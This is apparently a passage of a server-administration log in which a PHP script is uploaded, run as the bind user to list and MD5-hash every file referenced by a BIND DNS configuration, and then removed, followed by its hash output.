MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 16:31:19: Establishing a connection
2026-04-30 16:31:19: 

PUT: /tmp/pkp662048

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 16:31:20: 

runuser -l bind -s /bin/bash -c '/tmp/pkp662048; rm /tmp/pkp662048'

2026-04-30 16:31:20: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
